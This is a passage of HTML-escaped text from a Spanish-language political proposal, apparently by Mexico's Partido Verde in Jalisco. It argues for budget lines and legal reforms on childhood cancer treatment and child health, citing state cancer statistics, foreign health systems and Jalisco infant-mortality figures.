\u00d3sea*<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>Asimismo, se muestra en el siguiente cuadro la estad\u00edstica que se llev\u00f3 a cabo de acuerdo con el \u201cComportamiento Epidemiol\u00f3gico del C\u00e1ncer en menores de 18 A\u00f1os. M\u00e9xico 2008-2014<a href=\"#_ftn1\" name=\"_ftnref1\"><sup>[1]<\/sup><\/a><\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"112\">\n<p><strong>ESTADO<\/strong><\/p>\n<\/td>\n<td width=\"515\">\n<p><strong>ESTADISTICA<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"112\">\n<p><strong>Aguascalientes<\/strong><\/p>\n<\/td>\n<td width=\"515\">\n<p>Se presentaron 249 casos de c\u00e1ncer menores de 18 a\u00f1os no derechohabientes, con una mediana de la incidencia anual de 16.3 por 100 mil (la 1\u00aa m\u00e1s alta a nivel nacional). A su vez, se atendieron en la entidad 290 casos en el mismo periodo.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"112\">\n<p><strong>Chiapas<\/strong><\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"515\">\n<p>Se registraron 870 casos de c\u00e1ncer menores de 18 a\u00f1os no derechohabientes, con una mediana de la incidencia anual de 7.1 por 100 mil (la 1\u00aa m\u00e1s baja a nivel nacional), con una tendencia al incremento del registro en 7.7 casos adicionales por 100 mil al a\u00f1o (p=0.0006). A su vez, se atendieron en la entidad 718 casos en dicho periodo.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"112\">\n<p><strong>Oaxaca<\/strong><\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"515\">\n<p>Se presentaron 731 casos de c\u00e1ncer menores de 18 a\u00f1os no derechohabientes, con una mediana de la incidencia anual de 9.4 por 100 mil (la 7\u00aa m\u00e1s baja a nivel nacional). A su vez, en la entidad se atendieron 603 casos endicho periodo.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>Anualmente se registran de 80 a 100 casos nuevos de c\u00e1ncer en menores de 18 a\u00f1os, de ellos, el 90 por ciento recibe tratamiento en etapas avanzadas, la sobrevida posterior a la fecha del diagn\u00f3stico es del 40.6 por ciento, por lo que, de 10 pacientes ingresados, fallecen entre cuatro y cinco.<\/p>\n<p>\u00a0<\/p>\n<p>En la entidad, la leucemia es el c\u00e1ncer m\u00e1s frecuente en menores de 18 a\u00f1os, y representa aproximadamente el 50 por ciento de todos los casos diagnosticados en este grupo de edad.<a href=\"#_ftn2\" name=\"_ftnref2\"><sup>[2]<\/sup><\/a><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"112\">\n<p><strong>Quintana Roo<\/strong><\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"515\">\n<p>Se presentaron 152 casos de c\u00e1ncer menores de 18 a\u00f1os no derechohabientes, con una mediana de la incidencia anual de 9.0 por 100 mil (la 6\u00aa m\u00e1s baja a nivel nacional). A su vez, en la entidad se atendieron 78 casos en dicho periodo.<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"112\">\n<p><strong>San Luis Potos\u00ed<\/strong><\/p>\n<p>\u00a0<\/p>\n<\/td>\n<td width=\"515\">\n<p>Se presentaron 482 casos de c\u00e1ncer menores de 18 a\u00f1os no derechohabientes, con una mediana de la incidencia anual de 11.2 por 100 mil (la 16\u00aa m\u00e1s baja a nivel nacional). A su vez, en la entidad se atendieron 475 casos en dicho periodo<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"112\">\n<p><strong>Sonora<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<\/td>\n<td width=\"515\">\n<p>Se presentaron 373 casos de c\u00e1ncer menores de 18 a\u00f1os no derechohabientes, con una mediana de la incidencia anual de 13.6 por 100 mil (la 6\u00aa m\u00e1s alta a nivel nacional) A su vez, en la entidad se han atendido 370 casos en dicho periodo.<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>De lo anterior, podemos observar que el n\u00famero de casos detectados de c\u00e1ncer, con el n\u00famero de Hospitales acreditados son insuficientes para atender a la poblaci\u00f3n infantil y adolescente con c\u00e1ncer, esta situaci\u00f3n, provoca para muchas familias, y tutores realizan largos traslados y descuidan su trabajo, poniendo en riesgo el ingreso econ\u00f3mico que invierten para el tratamiento del menor de edad, a pesar de que cuentan con el apoyo por parte del Fondo de Protecci\u00f3n contra Gastos Catastr\u00f3ficos, no es suficiente para cubrir las necesidades de los ni\u00f1os y adolescentes.<\/p>\n<p>Al permitir que las cl\u00ednicas proporcionen la atenci\u00f3n y lleven el control del respectivo tratamiento, facilitar\u00e1 a los pacientes y a los tutores ver una opci\u00f3n m\u00e1s para ser atendidos, ya que a muchos pacientes por sus condiciones econ\u00f3micas se les complica trasladarse a las Unidades M\u00e9dicas Acreditadas.<\/p>\n<p>Estas eventualidades para muchos padres de familia o tutores ocasiona que pierdan su trabajo por despidos, por lo que se considera oportuno prohibir el despido laboral de las personas que son el sustento de los menores de edad.<\/p>\n<p>Debemos tomar en consideraci\u00f3n que el sector salud es unos factores m\u00e1s importantes para el bienestar social y econ\u00f3mico, ya que de esta manera se concurre en la formaci\u00f3n y conservaci\u00f3n\u00a0 del capital humano. La falta de salud afecta directamente a la fuerza de trabajo y tiene repercusiones en la econom\u00eda ocasionando la perdida de trabajo.<\/p>\n<p>Se debe garantizar que los trabajadores con hijos con alg\u00fan tipo de c\u00e1ncer no pierdan su trabajo, por lo que es necesario garantizar los tratamientos, a trav\u00e9s de programas sociales como IMSS-Prospera o del Instituto de Seguridad y Servicios Sociales de los Trabajadores del Estado y del Instituto Mexicano del Seguro Social.<\/p>\n<p>As\u00ed como IMSS-PROSPERA que desde 1973, cuando se modific\u00f3 la Ley del Seguro Social para facultar al Instituto Mexicano del Seguro Social a extender su acci\u00f3n a n\u00facleos de poblaci\u00f3n sin capacidad contributiva, de extrema pobreza y profunda marginaci\u00f3n.<\/p>\n<p>En 2017 IMSS-PROSPERA cumple 38 a\u00f1os de trayectoria ininterrumpida, periodo en el que ha consolidado su red de servicios en salud para beneficiar a las personas que m\u00e1s lo necesitan, pero a\u00fan es necesario fortalecerlo, ya que el seguro popular no cubre todos los tipos de c\u00e1ncer, s\u00f3lo incluye c\u00e1ncer de mam\u00e1, pr\u00f3stata, col\u00f3n y c\u00e9rvico-uterino, siendo necesario el tratamiento para c\u00e1ncer infantil.<\/p>\n<p>Asimismo, la gente trata de buscar la opci\u00f3n terap\u00e9utica que el m\u00e9dico recomienda para su estudio en el c\u00e1ncer. Es decir, cu\u00e1ndo en el seguro social no hay medicamento o tratamiento la gente busca otra opci\u00f3n, como la del seguro popular, pero desafortunadamente como hoy en d\u00eda se comparte el padr\u00f3n y si ya cuenta con seguridad social, no se puede tener acceso al seguro popular, esta pol\u00edtica p\u00fablica e interna tiene que cambiar.<\/p>\n<p>Finalmente la enfermedad debe ser tratada, de lo contrario no se est\u00e1 garantizando el derecho a la salud<a href=\"#_ftn3\" name=\"_ftnref3\"><sup>[3]<\/sup><\/a>. Tampoco se garantiza por la falta de m\u00e9dicos, equipo, tratamiento o rehabilitaci\u00f3n. Hacen falta especialistas radi\u00f3logos, pat\u00f3logos, colonoscopios, onc\u00f3logos para ni\u00f1os. Y los equipos de diagn\u00f3stico son muy caros y se requieren tenerlos en instituciones especiales; por ejemplo un mast\u00f3grafo cuesta 8 millones de pesos m\u00e1s las reparaciones.<a href=\"#_ftn4\" name=\"_ftnref4\"><sup>[4]<\/sup><\/a><\/p>\n<p>A su vez, el seguro popular es discriminatorio, si ha salvado muchas vidas, pero tambi\u00e9n es un sistema discriminatorio que establece pacientes de primera y de segunda, ejemplo claro de esto es la leucemia mieloide cr\u00f3nica, est\u00e1 cubierto s\u00f3lo para personas mayores de 18 a\u00f1os; y las jovencitas menores de 18 a\u00f1os con c\u00e1ncer de mam\u00e1 no tienen cobertura<a href=\"#_ftn5\" name=\"_ftnref5\"><sup>[5]<\/sup><\/a>.<\/p>\n<p>As\u00ed que a\u00fan no es del todo un sistema unificado que garantice atenci\u00f3n oportuna a los pacientes<a href=\"#_ftn6\" name=\"_ftnref6\"><sup>[6]<\/sup><\/a>.<\/p>\n<p>Con base en la Carta Magna, es necesario garantizar el derecho humano a la protecci\u00f3n y a la salud. Sin embargo, no se est\u00e1 cumpliendo por el sector salud, ya que no est\u00e1 cubriendo a sus beneficiados con los medicamentos que se prescriben.<\/p>\n<p><strong>Derecho comparado <\/strong><\/p>\n<p><strong>Colombia.<a href=\"#_ftn7\" name=\"_ftnref7\"><sup>[7]<\/sup><\/a><\/strong><\/p>\n<p>El funcionamiento del sistema depende de los recursos recaudados para su financiamiento, de la gesti\u00f3n que realizan las Entidades Territoriales y las Entidades Promotoras de Salud (EPS) del r\u00e9gimen subsidiado y contributivo, para afiliar a la poblaci\u00f3n.<\/p>\n<p>Las principales fuentes de financiaci\u00f3n del sistema se originan en el Sistema General de Participaciones (SGP), en los aportes de los trabajadores y empleadores al r\u00e9gimen contributivo que tambi\u00e9n aporta a los sistemas de pensiones y riesgos profesionales, administrados por el FOSYGA, y en la explotaci\u00f3n de los juegos de suerte y azar a cargo de la Empresa Territorial para la Salud (ETESA), adem\u00e1s de la coparticipaci\u00f3n que hacen otros recursos de menor cuant\u00eda.<\/p>\n<p>Los aportes que hacen las personas al sistema es a trav\u00e9s del r\u00e9gimen contributivo que requiere del pago de cotizaciones de forma obligatoria para los asalariados y grupos de poblaci\u00f3n con capacidad de pago con lo cual se extiende la protecci\u00f3n al conyugue o compa\u00f1ero(a), a los hijos menores de 18 y hasta los 25 a\u00f1os, si son estudiantes de tiempo completo o presentan alguna discapacidad. La cotizaci\u00f3n establecida por la Ley 100 pero ajustada por la Ley 1122 de 2007, corresponde al 12.5% del ingreso o salario base de cotizaci\u00f3n, que no puede ser inferior al salario mensual, siendo provisto en su totalidad directamente por el trabajador independiente y por los pensionados o en el caso de un trabajador asalariado, por el empleado que aporta el 4% y su empleador que contribuye con el 8.5%.<\/p>\n<p>Quienes cuenten con ingresos superiores a dos salarios m\u00ednimos legales mensuales, contribuyen adem\u00e1s con medio punto adicional como solidaridad con el r\u00e9gimen subsidiado, a trav\u00e9s de la subcuenta de solidaridad del FOSYGA.<\/p>\n<p>Las personas sin capacidad de pago (pobres) y aquellas que no tienen suficiente para pagar cotizaciones obligatorias, personas que ganan menos de dos salarios m\u00ednimos, son focalizados y seleccionados mediante la aplicaci\u00f3n de una encuesta socioecon\u00f3mica (SISBEN) que aplican las entidades territoriales, para verificar que cumplen con requisitos que les permite recibir subsidios totales o parciales del r\u00e9gimen subsidiado para ellos y sus familiares. Esta afiliaci\u00f3n se financia mediante aportes del Estado (Naci\u00f3n, Departamentos y Municipios) como fuente principal, y se complementa con transferencias reglamentadas, de solidaridad del r\u00e9gimen contributivo.<\/p>\n<p><strong>Cuba<a href=\"#_ftn8\" name=\"_ftnref8\"><sup>[8]<\/sup><\/a><\/strong><\/p>\n<p>El Sistema Nacional de Salud (SNS) es \u00fanico, integral, regionalizado y descentralizado. Se estructura en tres niveles administrativos, en correspondencia con la divisi\u00f3n pol\u00edtica del pa\u00eds, y tres niveles de atenci\u00f3n. El SNS es financiado casi, totalmente por fondos p\u00fablicos. El gasto en salud per c\u00e1pita en el 2000 fue de 159.9 pesos MN. A partir de los presupuestos municipales se financia el 92.7% de los gastos para la salud p\u00fablica.<\/p>\n<p>El pa\u00eds cuenta con un listado nacional de medicamentos, que abarca 804 productos de uso obligatorio para todos los prescriptores del SNS, teniendo acceso al mismo el 100% de la poblaci\u00f3n tanto desde el punto de vista geogr\u00e1fico como econ\u00f3mico.<\/p>\n<p>La Ley de Salud P\u00fablica define las acciones que se desarrollan por el Estado para garantizar la protecci\u00f3n de la salud de los ciudadanos, de los servicios que tiene que realizar el Estado por medio del Ministerio de Salud P\u00fablica (MINSAP) como organismo rector, de las atribuciones de las direcciones de salud de los \u00f3rganos locales de la administraci\u00f3n p\u00fablica, as\u00ed como las funciones b\u00e1sicas y esenciales de la salud p\u00fablica.<\/p>\n<p>En este pa\u00eds existe una sola modalidad de aseguramiento sanitario que se brinda a trav\u00e9s del MINSAP, con una cobertura del 100% de la poblaci\u00f3n, donde todos los ciudadanos tienen derecho a todas las prestaciones sanitarias incluyendo las de mayor complejidad y elevada tecnolog\u00eda. El MINSAP desarrolla una estrategia integral de promoci\u00f3n y educaci\u00f3n para la salud, la cual es respaldada por la Ley de la Salud P\u00fablica, que establece la obligatoriedad de todo el personal del SNS de realizar acciones de promoci\u00f3n y educaci\u00f3n.<\/p>\n<p><strong>Uruguay<a href=\"#_ftn9\" name=\"_ftnref9\"><sup>[9]<\/sup><\/a><\/strong><\/p>\n<p>El Sistema Nacional Integrado de Salud de Uruguay est\u00e1 constituido por los subsectores p\u00fablico y privado. Varias instituciones componen el sector p\u00fablico de prestaci\u00f3n de servicios de salud. La red de servicios de salud de la Administraci\u00f3n de Servicios de Salud del Estado (ASSE) es la principal del pa\u00eds, y comprende hospitales, centros de salud y policl\u00ednicas. Sanidad de las Fuerzas Armadas cuenta con infraestructura hospitalaria propia en Montevideo. Sanidad Policial tiene una infraestructura hospitalaria de 132 camas en Montevideo y en el interior contrata servicios de ASSE y de prestadores privados.<\/p>\n<p>El Banco de Previsi\u00f3n Social cuenta con el Servicio Materno Infantil con instalaciones propias ambulatorias y brinda cobertura a c\u00f3nyuges e hijos de beneficiarios del Seguro de Enfermedad, que no cuenten con cobertura privada. El Banco de Seguros del Estado dispone de un sanatorio propio de 160 camas en Montevideo y contrata servicios en el interior del pa\u00eds. Cubre accidentes laborales y enfermedades profesionales del sector privado de la actividad. La mayor\u00eda de las Intendencias Municipales cuentan con atenci\u00f3n de primer nivel, mediante convenios con ASSE.<\/p>\n<p>En el sector privado se ubican las instituciones sin fines de lucro (IAMC), con 47 instituciones prestadoras de servicios de salud integrales de prepago, 12 de las cuales tienen su sede principal en Montevideo y las restantes en el interior del pa\u00eds. El Ministerio de Salud P\u00fablica (MSP) determina sus prestaciones obligatorias, controla, supervisa la asistencia, su econom\u00eda y finanzas. La mayor\u00eda de estas organizaciones cuentan con servicios de internaci\u00f3n propios y sus beneficiarios ascienden a 1.806.750 personas.<\/p>\n<p>Las instituciones tienen entre 3.000 y 240.000 afiliados cada una. Los siete Seguros Privados son empresas privadas (con fines de lucro), que brindan prestaciones asistenciales integrales en r\u00e9gimen de prepago a unas 74.789 personas.<\/p>\n<p><strong>Puerto Rico<a href=\"#_ftn10\" name=\"_ftnref10\"><sup>[10]<\/sup><\/a><\/strong><\/p>\n<p>En este pa\u00eds la atenci\u00f3n se basa en diferentes modelos, el b\u00e1sico, el medio que cubre enfermedades como el C\u00e1ncer y uno contratado por el usuario dedicado a las enfermedades mentales.<\/p>\n<p>En 1993 el gobierno inici\u00f3 un proceso de reforma que cambi\u00f3 dram\u00e1ticamente la forma de proveer servicios de salud a la poblaci\u00f3n m\u00e9dico indigente del pa\u00eds. Mediante la Ley 72 se transforma el Sistema de Salud, donde el gobierno deja de ser en esencia, el proveedor de los servicios de salud y pasa a contratar a la empresa privada los servicios que ha de recibir la poblaci\u00f3n m\u00e9dico indigente de la Isla. Mediante esta Ley conocida como Ley de Reforma de Salud, se cre\u00f3 la Administraci\u00f3n de Seguros de Salud de Puerto Rico (ASES). Es a trav\u00e9s de esta Administraci\u00f3n que se crea un Plan de Salud para las personas m\u00e9dico-indigentes. Esta Administraci\u00f3n tiene la responsabilidad de administrar y negociar mediante contrato con las Aseguradoras un sistema de servicios de salud que le brinde a la poblaci\u00f3n m\u00e9dico indigente acceso a un cuidado m\u00e9dico hospitalario adecuado a trav\u00e9s de toda la Isla.<\/p>\n<p><strong>Estados Unidos<a href=\"#_ftn11\" name=\"_ftnref11\"><sup>[11]<\/sup><\/a><\/strong><\/p>\n<p>Los servicios de atenci\u00f3n de salud en los Estados Unidos de Am\u00e9rica se dividen entre los sectores p\u00fablico y privado. El pa\u00eds no tiene un sistema \u00fanico nacional de asistencia sanitaria. El proveedor m\u00e1s grande de los servicios de salud es un sector privado competitivo, compuesto por hospitales, m\u00e9dicos, dentistas, hogares para convalecientes, organismos de asistencia domiciliaria, compa\u00f1\u00edas aseguradoras, empresas de suministros m\u00e9dicos y fabricantes de productos farmac\u00e9uticos. Aproximadamente, 70% de la poblaci\u00f3n est\u00e1 cubierta por un seguro de salud privado.<\/p>\n<p>El Departamento de Salud y Servicios Sociales (HHS) es el principal organismo del gobierno de los Estados Unidos para proteger la salud de todos los estadounidenses y proporcionar servicios sociales esenciales, especialmente para los que son menos capaces de velar por s\u00ed mismos. El HHS forma parte del poder ejecutivo y el Congreso de los Estados Unidos determina su presupuesto.<\/p>\n<p>El gobierno federal es proveedor directo de servicios de salud para el personal militar por medio del Departamento de Defensa, los excombatientes con discapacidades vinculadas con el servicio por medio de la Administraci\u00f3n de Veteranos de Guerra, los indios estadounidenses y nativos de Alaska por medio del Servicio de Salud para Poblaciones Ind\u00edgenas y los presidiarios de las prisiones federales.<\/p>\n<p>Mediante un programa conocido como Medicare, el gobierno federal proporciona seguro de salud a todos los estadounidenses de m\u00e1s de 65 a\u00f1os de edad, los que tienen insuficiencia renal permanente y ciertas personas con discapacidades.<\/p>\n<p><strong>Diagn\u00f3stico sobre el presupuesto en c\u00e1ncer infantil<\/strong><\/p>\n<p>Desde la perspectiva de la programaci\u00f3n del Presupuesto de egresos, no se cuenta con una partida espec\u00edfica de gasto para atender el c\u00e1ncer infantil. Por lo tanto, no se puede observar una focalizaci\u00f3n del gasto p\u00fablico para atender esta problem\u00e1tica, como si la tiene, por ejemplo otros tipos de c\u00e1ncer como el de mama y c\u00e9rvico uterino, los cuales tienen una planeaci\u00f3n de gasto desde la Secretar\u00eda de Hacienda y Cr\u00e9dito P\u00fablico en los anexos transversales de presupuesto anual, que para el pr\u00f3ximo ejercicio fiscal 2018 est\u00e1 planteado de la siguiente manera:<\/p>\n<p><strong>Grafica 1. Presupuesto para el c\u00e1ncer de mama PPEF-2018<\/strong><\/p>\n<p>Fuente: Anexos transversales del PPEF-2018<\/p>\n<p><strong>Grafica 2. Presupuesto para el c\u00e1ncer c\u00e9rvico uterino PPEF-2018<\/strong><\/p>\n<p>Fuente: Anexos transversales del PPEF-2018<\/p>\n<p>Para disminuir las tasas de morbilidad y mortalidad por c\u00e1ncer c\u00e9rvico uterino, se han presupuestado 756 millones de pesos, mientras que para el combate del c\u00e1ncer de mama se contemplan 768 millones de pesos para el ejercicio fiscal 2018.<\/p>\n<p>Es importante mencionar, que en estos dos rubros citados, no es clara la presupuestaci\u00f3n que se hace, ya que es Chiapas el Estado que recibir\u00e1 el menor presupuesto a pesar de tener de manera significativa un mayor n\u00famero de defunciones por causa de c\u00e1ncer de mama y c\u00e9rvico uterino que el Estado Guerrero, el cual recibir\u00e1 el mayor presupuesto.<\/p>\n<p>A pesar de que la C\u00e1mara de Senadores en diciembre de 2016<a href=\"#_ftn12\" name=\"_ftnref12\"><sup>[12]<\/sup><\/a>, solicit\u00f3 a los titulares de la Secretar\u00eda de Salud del Gobierno Federal, del Instituto Mexicano del Seguro Social y del Instituto de Seguridad y Servicios Sociales de los Trabajadores del Estado, la firma de un acuerdo de coordinaci\u00f3n para la atenci\u00f3n integral del mayor n\u00famero posible de casos de c\u00e1ncer infantil en M\u00e9xico, as\u00ed como para explorar la posibilidad de llevar a cabo en este mismo rubro la homologaci\u00f3n de presupuestos, desarrollo de infraestructura, atenci\u00f3n m\u00e9dica y adquisici\u00f3n y dotaci\u00f3n de medicamentos. Dicha solicitud no se ve reflejada en el Proyecto de Presupuesto de Egresos de la Federaci\u00f3n, para el ejercicio fiscal 2018.<\/p>\n<p><strong>Impacto presupuestario para la atenci\u00f3n del c\u00e1ncer infantil<\/strong><\/p>\n<p>Monitorear la evoluci\u00f3n de los diferentes tipos de c\u00e1ncer infantil es de suma importancia, debido a la complejidad de los tratamientos y el alto costo que representan.<\/p>\n<p>El costo promedio total por paciente de c\u00e1ncer infantil en el ISSSTE es de 147 mil 29 pesos<a href=\"#_ftn13\" name=\"_ftnref13\"><sup>[13]<\/sup><\/a>, mientras que Healthcare Cost and Utilizatian Project (HCUP), en Estados Unidos estima el costo por paciente menor a 18 a\u00f1os con c\u00e1ncer es de 190 mil 865 pesos anuales,<a href=\"#_ftn14\" name=\"_ftnref14\"><sup>[14]<\/sup><\/a> cifra superior en poco m\u00e1s de 43 mil pesos a la estimada para el Instituto.<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS:<\/strong><\/p>\n<ul>\n<li>Incluir dentro del Anexo transversal denominado para la Atenci\u00f3n de Ni\u00f1os, Ni\u00f1as y Adolescentes del Presupuesto de Egresos de la Federaci\u00f3n partidas presupuestales para la prevenci\u00f3n, detecci\u00f3n, control y tratamiento del c\u00e1ncer infantil, en materia de infraestructura, investigaci\u00f3n, equipamiento y recursos humanos especializados. Mediante una reforma a la Ley Federal de Presupuesto y Responsabilidad Hacendaria.<\/li>\n<li>Incluir dentro del Anexo transversal denominado para la Atenci\u00f3n de Ni\u00f1os, Ni\u00f1as y Adolescentes del Presupuesto de Egresos del Estado, partidas presupuestales para la prevenci\u00f3n, detecci\u00f3n, control y tratamiento del c\u00e1ncer infantil.<\/li>\n<li>Crear pol\u00edticas sociales que faciliten a personas de escasos recursos la incorporaci\u00f3n a sistemas de salud gubernamentales. Mediante una reforma a la Ley de Salud del Estado de Jalisco.<\/li>\n<li>Emitir convenios con instituciones privadas para reducir el costo de medicamentos a aquellos que se encuentre incorporados a un sistema de salud gubernamental. Mediante una reforma a la Ley de Salud del Estado de Jalisco.<\/li>\n<li>Promover campa\u00f1as sobre los h\u00e1bitos de alimentaci\u00f3n para una disminuci\u00f3n de la incidencia de c\u00e1ncer infantil. Mediante una reforma a la Ley de Salud del Estado de Jalisco.<\/li>\n<li>Garantizar el tratamiento de todo tipo de c\u00e1ncer infantil de manera gratuita a trav\u00e9s de todo el sistema de salud p\u00fablica del pa\u00eds, mediante una reforma a la Ley de los Derechos de Ni\u00f1as, Ni\u00f1os y Adolescentes del Estado de Jalisco y reformas a la Ley de Salud del Estado de Jalisco.<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: GARANTIZAR SALUD INFANTIL<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Garantizar el goce efectivo del derecho humano a salud de las ni\u00f1as y ni\u00f1os mexicanos, es un reto importante que requiere de la realizaci\u00f3n de acciones correctas. Un aspecto relevante es el del gasto p\u00fablico en esa materia, por lo cual es necesario garantizar anualmente la suficiencia de recursos econ\u00f3micos para atender los diferentes padecimientos que aquejan a la ni\u00f1ez de nuestro estado. De manera adicional, se debe impedir que los servidores p\u00fablicos cuyas funciones se relacionen con aspectos de salud infantil, realicen actos de corrupci\u00f3n que perjudiquen esta importante tarea.<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>Actualmente el estado de Jalisco a generado pol\u00edticas publicas que han permitido una disminuci\u00f3n en lo que respecta a la mortalidad infantil, pues en a\u00f1os anteriores la tasa de mortalidad era mucho mayor, sin embargo estimamos loable y necesario el redoblar esfuerzos con la finalidad de disminuir aun\u00a0 m\u00e1s la actual tasa de mortalidad infantil del estado.<\/p>\n<p>JALISCO<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"212\">\n<p>Tasa de mortalidad infantil<\/p>\n<\/td>\n<td width=\"212\">\n<p>2000<\/p>\n<\/td>\n<td width=\"212\">\n<p>2017<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"212\">\n<p>Mujeres<\/p>\n<\/td>\n<td width=\"212\">\n<p>18.0<\/p>\n<\/td>\n<td width=\"212\">\n<p>8.9<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"212\">\n<p>Hombres<\/p>\n<\/td>\n<td width=\"212\">\n<p>22.9<\/p>\n<\/td>\n<td width=\"212\">\n<p>10.9<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"212\">\n<p><strong>TOTAL<\/strong><\/p>\n<\/td>\n<td width=\"212\">\n<p><strong>40.9<\/strong><\/p>\n<\/td>\n<td width=\"212\">\n<p><strong>19.8<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p>Tasa de mortalidad por cada 1 000 ni\u00f1as(ni\u00f1os)<\/p>\n<p>Fuente: CONAPO, Proyecciones de la Poblaci\u00f3n de M\u00e9xico 2005-2050. Indicadores demogr\u00e1ficos b\u00e1sicos 1990-2030<\/p>\n<p>CONAPO, Proyecciones de la Poblaci\u00f3n. Nacional 2010-2050. Proyecciones de la Poblaci\u00f3n de las Entidades federativas 2010-2030<\/p>\n<p>Uno de los retos que tiene nuestro estado es otorgar el aseguramiento a la salud\u00a0 de la totalidad de la poblaci\u00f3n infantil, toda vez que porcentaje de las defunciones de ese grupo de poblaci\u00f3n no contaba con alguna afiliaci\u00f3n a los servicios de salud.<\/p>\n<p>Con respecto a lo anterior estimamos la necesidad de reformular la planeaci\u00f3n de la pol\u00edtica presupuestaria a fin de que sea integral y, por lo tanto cubra la totalidad de los gastos m\u00e9dicos de las ni\u00f1as y ni\u00f1os mexicanos, y as\u00ed revertir a\u00fan m\u00e1s los altos \u00edndices de mortalidad infantil y con esto salvaguardando el derecho m\u00e1s importante que es el derecho a la vida y a la salud.<\/p>\n<p>Aspecto relacionado con lo anterior es el institucional, acerca del cual encontramos que de acuerdo con una evaluaci\u00f3n realizada por M\u00e9xico Opina publicada en marzo de 2017, la calificaci\u00f3n media de los ejecutivos locales es de 28.6%, es decir, todos est\u00e1n reprobados, de acuerdo con la percepci\u00f3n de la ciudadan\u00eda; situaci\u00f3n delicada, pues en los gobernadores radica la titularidad del ejercicio p\u00fablico y la ejecuci\u00f3n de los presupuestos en cada entidad federativa en las diferentes materias, incluido el rubro de salud, raz\u00f3n por la cual es imperativo revisar y modificar el marco jur\u00eddico con la finalidad de no vulnerar los derechos de ni\u00f1as y ni\u00f1os por un mal ejercicio de funciones p\u00fablicas en el tema de salud.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>A pesar de que en Jalisco en los \u00faltimos diecisiete a\u00f1os se redujo en un 19.8 la tasa de mortalidad infantil, al pasar de 40.9 en el a\u00f1o 2000, a 19.8 en el a\u00f1o 2017 por cada mil menores, nuestro estado enfrenta un enorme reto y rezago para garantizar que todas las ni\u00f1as y los ni\u00f1os sin importar su nivel socioecon\u00f3mico, ubicaci\u00f3n geogr\u00e1fica y raza tengan acceso efectivo y eficaz a los servicios de salud p\u00fablicos que pueden salvaguardar el derecho a la vida de cada menor.<\/p>\n<p>Derivado de lo anterior, se entiende que nuestro estado no cuenta con el aseguramiento del 100% de los infantes al nacer, ya que seg\u00fan la informaci\u00f3n que brinda la <a href=\"http:\/\/ensanut.insp.mx\/\">Encuesta Nacional de Salud y Nutrici\u00f3n<\/a> solo el 3.5% de los menores no cuenta con Cartilla Nacional de Vacunaci\u00f3n (CNV) o con la Cartilla Nacional de Salud (CNS) lo que indica que este porcentaje es el que no tiene acceso salud infantil ya que la misma se expide en la mayor\u00eda de los casos al momento de nacer por lo que el porcentaje en Jalisco es mayor que en el resto del pa\u00eds pues en el pa\u00eds el promedio de los menores que no cuentan con este documento representa el\u00a0 2.5%<a href=\"#_ftn15\" name=\"_ftnref15\">[15]<\/a><\/p>\n<p>A raz\u00f3n de lo anterior entendemos que es necesario reconocer que la universalizaci\u00f3n de la salud en los infantes es un objetivo que puede tardar varios a\u00f1os en conseguirse, sin embargo\u00a0 se han implementado\u00a0 acciones para focalizar en la poblaci\u00f3n infantil y es que a partir de 2006, se ha garantizado la cobertura completa y de por vida en servicios de salud a los ni\u00f1os nacidos a partir del 1 de diciembre de 2006. Esto \u00faltimo se llev\u00f3 a cabo con el Seguro M\u00e9dico para una Nueva Generaci\u00f3n, ahora denominado Seguro M\u00e9dico Siglo XXI, en el que a trav\u00e9s de este todos los ni\u00f1os tienen ahora derecho a un seguro m\u00e9dico que cubra 100% de los servicios m\u00e9dicos que se prestan en los centros de salud de primer nivel y 95% de las acciones hospitalarias, as\u00ed como a los medicamentos asociados, consultas y tratamientos.\u00a0<\/p>\n<p>En lo que concierne al estado este cuenta con la secretaria de salud Jalisco, misma que brinda dicho programa y esta est\u00e1 dirigido a poblaci\u00f3n beneficiaria menor de cinco a\u00f1os, pues este adem\u00e1s conjunta acciones con otros programas con el fin de asegurar el financiamiento de la atenci\u00f3n m\u00e9dica y preventiva a los infantes; con esto se pretende lograr las mejores condiciones posibles de salud y las mayores oportunidades para que una nueva generaci\u00f3n est\u00e9 m\u00e1s capacitada, preparada y activa por lo que ser\u00eda necesario expandir m\u00e1s aun el servicio con la finalidad de llegar al 3.5% que aun no es beneficiario de dicho programa buscando garantizar la salud infantil.<\/p>\n<p><strong>OBESIDAD INFANTIL<\/strong><\/p>\n<p>M\u00e9xico ocupa el primer lugar mundial en obesidad infantil, y el segundo en obesidad en adultos, precedido s\u00f3lo por los Estados Unidos. Problema que est\u00e1 presente no s\u00f3lo en la infancia y la adolescencia pues seg\u00fan datos brindados por el Hospital Civil de nuestro estado menciono que casi cuatro de cada 10 ni\u00f1os tienen sobrepeso u obesidad en M\u00e9xico.<\/p>\n<p>Asimismo como antecedente nos permitimos citar que el a\u00f1o 2012 se comenz\u00f3 a dar un diagn\u00f3stico sobre esta problem\u00e1tica, pues el entonces titular de la coordinaci\u00f3n de vigilancia epidemiol\u00f3gica del\u00a0 IMSS en el estado menciono que en los \u00faltimos 5 